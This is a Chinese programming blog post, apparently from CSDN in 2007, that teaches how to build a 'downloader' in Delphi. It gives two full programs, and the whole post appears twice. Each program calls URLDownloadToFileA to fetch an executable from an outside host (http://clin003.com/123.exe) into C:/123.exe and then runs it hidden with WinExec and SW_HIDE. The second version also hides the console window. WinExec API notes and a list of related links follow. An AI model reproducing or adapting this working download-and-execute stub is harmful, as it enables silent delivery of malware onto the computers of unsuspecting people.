Delphi制作简单下载者(不可自行定制)
2007-06-20 01:23
585 查看
Delphi制作简单下载者(不可自行定制)
by clin003 from:http://blog.csdn.net/clin003/ at 20070620
学习目的:
1.了解动态链接库的载入过程
2.了解函数变量的定义和使用
3.认识程序执行的模式
4.了解异常处理的过程
5.函数参数的传递
6.winexec函数的使用
环境:
Microsoft windows server 2003 R2 enterprise edition service pack 1
Delphi7
程序代码注释:
program project1;
{$APPTYPE CONSOLE}//控制台模式
uses
windows;
var
Downfile:function (Caller: pointer; URL: PChar; FileName: PChar; Reserved: DWORD; StatusCB: pointer): HResult; stdcall;
//定义一个函数变量
hUrlmon: THandle;//句柄变量
begin
//try
by clin003 from:http://blog.csdn.net/clin003/ at 20070620
//本来有异常处理的,想啦想没有必要就又注释掉啦
hUrlmon:=LoadLibrary('urlmon.dll');//加载urlmon.dll动态连接库文件
@Downfile:= GetProcAddress(hUrlmon,'URLDownloadToFileA');//得到urldownloadtofileA函数的地址
Downfile(nil, Pchar('http://clin003.com/123.exe'), Pchar('C:/123.exe'), 0, nil);//调用urldownloadtofile函数执行从http://clin003.com/123.exe把文件下载到一个目标位置c:/123.exe
//finally
winexec('C:/123.exe',SW_HIDE);//执行我们下载回来的可执行文件
//end;
end.
by clin003 from:http://blog.csdn.net/clin003/ at 20070620
/////////////////////下边这个没有dos框口的
program project1;
{$IMAGEBASE $13140000}//非框口模式
//下边几乎一样就不多说啦
uses
windows;
var
Downfile:function (Caller: pointer; URL: PChar; FileName: PChar; Reserved: LongWord; StatusCB: pointer): HResult; stdcall;
hUrlmon: THandle;
begin
//try
hUrlmon:=LoadLibrary('urlmon.dll');
@Downfile:= GetProcAddress(hUrlmon,'URLDownloadToFileA');
Downfile(nil, Pchar('http://clin003.com/123.exe'), Pchar('C:/123.exe'), 0, nil);
//finally
winexec('C:/123.exe',SW_HIDE);
//end;
end.
by clin003 from:http://blog.csdn.net/clin003/ at 20070620
////////////////////winexec函数说明
WinExec函数
函数原型:function WinExec(
lpCmdLine: LPCSTR;// 包含要执行的命令行
uCmdShow: UINT// 定义了以怎样的形式启动程序的常数值。);
): UINT; stdcall;
参数说明:
LPCSTR lpCmdLine: 包含要执行的命令行。
系统将在以下范围查找应用程序:
1. 应用程序启动位置
2. 当前目录位置
3. Windows system目录
4. Windows 目录
5. path中设置的路径列表
by clin003 from:http://blog.csdn.net/clin003/ at 20070620
UNIT uCmdShow: 定义了以怎样的形式启动程序的常数值。具体说明如下:
SW_HIDE 隐藏窗口,活动状态给令一个窗口
SW_MINIMIZE 最小化窗口,活动状态给令一个窗口
SW_RESTORE 用原来的大小和位置显示一个窗口,同时令其进入活动状态
SW_SHOW 用当前的大小和位置显示一个窗口,同时令其进入活动状态
SW_SHOWMAXIMIZED 最大化窗口,并将其激活
SW_SHOWMINIMIZED 最小化窗口,并将其激活
SW_SHOWMINNOACTIVE 最小化一个窗口,同时不改变活动窗口
SW_SHOWNA 用当前的大小和位置显示一个窗口,不改变活动窗口
SW_SHOWNOACTIVATE 用最近的大小和位置显示一个窗口,同时不改变活动窗口
SW_SHOWNORMAL 与SW_RESTORE相同
例如:启动当前目录下的abc.exe 程序:
WinExec( "abc.exe",SW_SHOW );
附带说明:
WinExec是一个兼容win16的函数。win32应用程序可用CreateProcess函数,也可使用ShellExecute函数。具体说明可查阅有关帮助文档。
by clin003 from:http://blog.csdn.net/clin003/ at 20070620
学习目的:
1.了解动态链接库的载入过程
2.了解函数变量的定义和使用
3.认识程序执行的模式
4.了解异常处理的过程
5.函数参数的传递
6.winexec函数的使用
环境:
Microsoft windows server 2003 R2 enterprise edition service pack 1
Delphi7
程序代码注释:
program project1;
{$APPTYPE CONSOLE}//控制台模式
uses
windows;
var
Downfile:function (Caller: pointer; URL: PChar; FileName: PChar; Reserved: DWORD; StatusCB: pointer): HResult; stdcall;
//定义一个函数变量
hUrlmon: THandle;//句柄变量
begin
//try
by clin003 from:http://blog.csdn.net/clin003/ at 20070620
//本来有异常处理的,想啦想没有必要就又注释掉啦
hUrlmon:=LoadLibrary('urlmon.dll');//加载urlmon.dll动态连接库文件
@Downfile:= GetProcAddress(hUrlmon,'URLDownloadToFileA');//得到urldownloadtofileA函数的地址
Downfile(nil, Pchar('http://clin003.com/123.exe'), Pchar('C:/123.exe'), 0, nil);//调用urldownloadtofile函数执行从http://clin003.com/123.exe把文件下载到一个目标位置c:/123.exe
//finally
winexec('C:/123.exe',SW_HIDE);//执行我们下载回来的可执行文件
//end;
end.
by clin003 from:http://blog.csdn.net/clin003/ at 20070620
/////////////////////下边这个没有dos框口的
program project1;
{$IMAGEBASE $13140000}//非框口模式
//下边几乎一样就不多说啦
uses
windows;
var
Downfile:function (Caller: pointer; URL: PChar; FileName: PChar; Reserved: LongWord; StatusCB: pointer): HResult; stdcall;
hUrlmon: THandle;
begin
//try
hUrlmon:=LoadLibrary('urlmon.dll');
@Downfile:= GetProcAddress(hUrlmon,'URLDownloadToFileA');
Downfile(nil, Pchar('http://clin003.com/123.exe'), Pchar('C:/123.exe'), 0, nil);
//finally
winexec('C:/123.exe',SW_HIDE);
//end;
end.
by clin003 from:http://blog.csdn.net/clin003/ at 20070620
////////////////////winexec函数说明
WinExec函数
函数原型:function WinExec(
lpCmdLine: LPCSTR;// 包含要执行的命令行
uCmdShow: UINT// 定义了以怎样的形式启动程序的常数值。);
): UINT; stdcall;
参数说明:
LPCSTR lpCmdLine: 包含要执行的命令行。
系统将在以下范围查找应用程序:
1. 应用程序启动位置
2. 当前目录位置
3. Windows system目录
4. Windows 目录
5. path中设置的路径列表
by clin003 from:http://blog.csdn.net/clin003/ at 20070620
UNIT uCmdShow: 定义了以怎样的形式启动程序的常数值。具体说明如下:
SW_HIDE 隐藏窗口,活动状态给令一个窗口
SW_MINIMIZE 最小化窗口,活动状态给令一个窗口
SW_RESTORE 用原来的大小和位置显示一个窗口,同时令其进入活动状态
SW_SHOW 用当前的大小和位置显示一个窗口,同时令其进入活动状态
SW_SHOWMAXIMIZED 最大化窗口,并将其激活
SW_SHOWMINIMIZED 最小化窗口,并将其激活
SW_SHOWMINNOACTIVE 最小化一个窗口,同时不改变活动窗口
SW_SHOWNA 用当前的大小和位置显示一个窗口,不改变活动窗口
SW_SHOWNOACTIVATE 用最近的大小和位置显示一个窗口,同时不改变活动窗口
SW_SHOWNORMAL 与SW_RESTORE相同
例如:启动当前目录下的abc.exe 程序:
WinExec( "abc.exe",SW_SHOW );
附带说明:
WinExec是一个兼容win16的函数。win32应用程序可用CreateProcess函数,也可使用ShellExecute函数。具体说明可查阅有关帮助文档。
相关文章推荐
- InstallShield Express for delphi制作安装程序定制BDE引擎
- InstallShield Express for delphi制作安装程序定制BDE引擎
- 简单的delphi停泊窗口制作
- Delphi 使用帮助提示(Hint)制作简单即时的系统帮助
- 一个简单组件的制作过程——delphi教程
- 制作简单的 COM 范例 (for Delphi)
- Vs2005之简单日志工具的制作--5.数据结构检查
- Delphi制作关不掉的程序
- AE 制作一个简单的动画
- 快速简单的定制一个时间轴布局(LinearLayout)
- 快速简单的定制一个时间轴布局(LinearLayout)
- 跟我一起学Windows Workflow Foundation(6)-----制作一个基本的定制活动
- 简单制作Android开机动画
- delphi非常简单的线程安全队列
- asp.net 定制简单的错误处理页面
- 使用JSP制作一个超简单的网页计算器的实例分享
- html文件制作最简单的方法
- Corel VideoStudio X4培训笔记(二)——制作简单短片
- 用Html5制作简单的6列自适应布局
- Java continue break 制作简单聊天室程序,屏蔽不文明语言,显示每句话聊天时间 for(;;) SimpleDateFormat("yyyy-MM-dd hh:mm:ss") equalsIgnoreCase